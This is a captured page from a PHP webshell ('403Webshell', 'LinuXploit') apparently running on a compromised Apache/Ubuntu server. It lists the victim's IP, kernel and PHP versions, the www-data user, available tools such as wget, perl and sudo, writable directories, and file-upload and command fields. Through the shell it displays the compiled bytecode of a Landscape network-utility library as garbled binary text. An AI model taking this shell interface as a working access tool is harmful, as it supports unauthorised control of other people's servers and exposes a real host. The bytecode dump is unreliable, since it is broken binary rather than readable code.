403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/dist-packages/landscape/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/landscape/lib/network.pyc
ó
}9Rc@s!dZddlZddlZddlZddlZddlZddlZdddgZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZd„Zeƒr±ep´eZd„Zd„Zd„Zd„Zd„Zd„Zdeed„Zdd„Zd„Zd„ZdS(sG
Network introspection utilities using ioctl and the /proc filesystem.
iÿÿÿÿNtget_active_device_infotget_network_traffictis_64i‰i‰i‰i‰i‰i'‰iF‰ii i(cCstjdƒdkS(s>Returns C{True} if the platform is 64-bit, otherwise C{False}.tli(tstructtcalcsize(((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pyR'sccsïd}tjdd|tƒ}|jƒd}tjd|t|ƒ}tjdtj|jƒt	|ƒƒd}|j
ƒ}tƒ}x_td|tƒD]K}|||t!}	|	|	j
dƒ }
|
|krœ|j|
ƒ|
VqœqœWdS(sZGenerator yields active network interface names.

    @param sock: a socket instance.
    i€tBtitiLN(tarraytIF_STRUCT_SIZEtbuffer_infoRtpacktunpacktfcntltioctltfilenotSIOCGIFCONFttostringtsettrangetindextadd(tsocktmax_interfacest
interfacestbuffer_sizetpacked_bytestbyte_lengthtresultt
already_foundRtifreq_structtinterface_name((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pytget_active_interfaces0s%	
cCs9tjtj|jƒttjd|d ƒƒdd!ƒS(s“Return the broadcast address associated to an interface.

    @param sock: a socket instance.
    @param interface: The name of the interface.
    t256siii(tsockett	inet_ntoaRRRtSIOCGIFBRDADDRRR(Rt	interface((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pytget_broadcast_addressLs	cCs9tjtj|jƒttjd|d ƒƒdd!ƒS(sŽReturn the network mask associated to an interface.

    @param sock: a socket instance.
    @param interface: The name of the interface.
    R"iii(R#R$RRRtSIOCGIFNETMASKRR(RR&((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pytget_netmaskXs	cCs9tjtj|jƒttjd|d ƒƒdd!ƒS(sReturn the IP address associated to the interface.

    @param sock: a socket instance.
    @param interface: The name of the interface.
    R"iii(R#R$RRRtSIOCGIFADDRRR(RR&((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pytget_ip_addressds	cCs`tj|jƒttjd|d ƒƒ}djg|dd!D]}dt|ƒ^q?ƒd S(sæ
    Return the hardware MAC address for an interface in human friendly form,
    ie. six colon separated groups of two hexadecimal digits.

    @param sock: a socket instance.
    @param interface: The name of the interface.
    R"itiis%02x:iÿÿÿÿ(RRRt
SIOCGIFHWADDRRRtjointord(RR&tmac_addresstchar((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pytget_mac_addressps%cCsFtj|jƒttjd|d ƒƒ}tjd|dd!ƒdS(sâReturn the integer value of the interface flags for the given interface.

    @param sock: a socket instance.
    @param interface: The name of the interface.
    @see /usr/include/linux/if.h for the meaning of the flags.
    R"itHiii(RRRtSIOCGIFFLAGSRRR
(RR&tdata((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pyt	get_flags}s%tloc	Cs.g}ztjtjtjtjƒ}xøt|ƒD]ê}||krLq4n|rdd|krdq4n|r|d|kr|q4ni|d6}t||ƒ|d<t||ƒ|d<t||ƒ|d<t||ƒ|d<t	||ƒ|d<t
||ƒ\}}||d	<||d
<|j|ƒq4WWd~X|S(sp
    Returns a dictionary containing information on each active network
    interface present on a machine.
    t.t:R&t
ip_addressR0tbroadcast_addresstnetmasktflagstspeedtduplexN(R#tAF_INETt
SOCK_DGRAMt
IPPROTO_IPR!R+R2R'R)R6tget_network_interface_speedtappend(	tskipped_interfacest	skip_vlant
skip_aliastresultsRR&tinterface_infoR>R?((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pyR‰s0


s
/proc/net/devcCst|dƒ}|jƒ}|jƒ|djdƒ\}}}g|jƒD]}d|^qN}|jg|jƒD]}d|^qwƒi}xm|dD]a}	d|	kr·qŸn|	jdƒ\}
}|
jƒ}
tt|tt	|jƒƒƒƒ||
<qŸW|S(se
    Retrieves an array of information regarding the network activity per
    network interface.
    trit|srecv_%sssend_%siR9(
topent	readlinestclosetsplittextendtstriptdicttziptmaptlong(tsource_filetnetdevtlinest_treceive_columnsttransmit_columnstcolumntcolumnstdevicestlinetdeviceR5((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pyR«s
#*,cCsrtjƒ}d|krntjtjƒdtjtjtjtjƒdd}d|krntjƒ}qnn|S(s
    Return the current fqdn of the machine, trying hard to return a meaningful
    name.

    In particular, it means working against a NetworkManager bug which seems to
    make C{getfqdn} return localhost6.localdomain6 for machine without a domain
    since Maverick.
    t	localhostiiN(	R#tgetfqdntgetaddrinfotgethostnametNoneR@RARBtAI_CANONNAME(tfqdn((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pytget_fqdnÄs	c	Cs*tjdtddƒ}tjd|ƒ}tjd||jƒdƒ}d}y;tj|t|ƒ|jƒ}tj	d|ƒ\}}Wn\t
k
ré}|jtjkr¿t
jd	ƒn|jtjkrÚ|‚nd}t}nX|d
krÿd}n|dkrt}nt|ƒ}||fS(sŸ
    Return the ethernet device's advertised link speed.

    The return value can be one of:
        * 10, 100, 1000, 2500, 10000: The interface speed in Mbps
        * -1: The interface does not support querying for max speed, such as
          virtio devices for instance.
        * 0: The cable is not connected to the interface. We cannot measure
          interface speed, but could if it was plugged in.
    tI39sRi'Rt16sPiiÿÿÿÿt12xHB28xsECould not determine network interface speed, operation not permitted.iÿÿiÿ(RRtETHTOOL_GSETR	RRRtSIOCETHTOOLRR
tIOErrorterrnotEPERMtloggingtwarnt
EOPNOTSUPPtFalsetbool(	RR t
cmd_structt
status_cmdtpackedR>tresR?te((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pyRCÙs*	
		(slo(t__doc__R	RR#RRoRqt__all__RR4R(R%R*R-RmRltIF_STRUCT_SIZE_32tIF_STRUCT_SIZE_64RR
R!R'R)R+R2R6tTrueRRRhRC(((s9/usr/lib/python2.7/dist-packages/landscape/lib/network.pyt<module>s<
						
	!	

Youez - 2016 - github.com/yon3zu
LinuXploit